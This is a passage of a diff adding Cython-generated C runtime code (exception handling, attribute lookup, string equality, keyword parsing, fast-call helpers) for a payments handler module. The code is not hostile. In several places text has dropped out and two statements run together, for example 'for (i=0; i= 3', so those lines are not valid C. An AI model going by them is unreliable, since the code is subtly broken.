PyErr_SetString(PyExc_ImportError, "init handlers.payments.freekassa_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* RaiseArgTupleInvalid */ +static void __Pyx_RaiseArgtupleInvalid( + const char* func_name, + int exact, + Py_ssize_t num_min, + Py_ssize_t num_max, + Py_ssize_t num_found) +{ + Py_ssize_t num_expected; + const char *more_or_less; + if (num_found < num_min) { + num_expected = num_min; + more_or_less = "at least"; + } else { + num_expected = num_max; + more_or_less = "at most"; + } + if (exact) { + more_or_less = "exactly"; + } + PyErr_Format(PyExc_TypeError, + "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", + func_name, more_or_less, num_expected, + (num_expected == 1) ? "" : "s", num_found); +} + +/* IterFinish */ +static CYTHON_INLINE int __Pyx_IterFinish(void) { + PyObject* exc_type; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (unlikely(exc_type)) { + if (unlikely(!__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) + return -1; + __Pyx_PyErr_Clear(); + return 0; + } + return 0; +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* 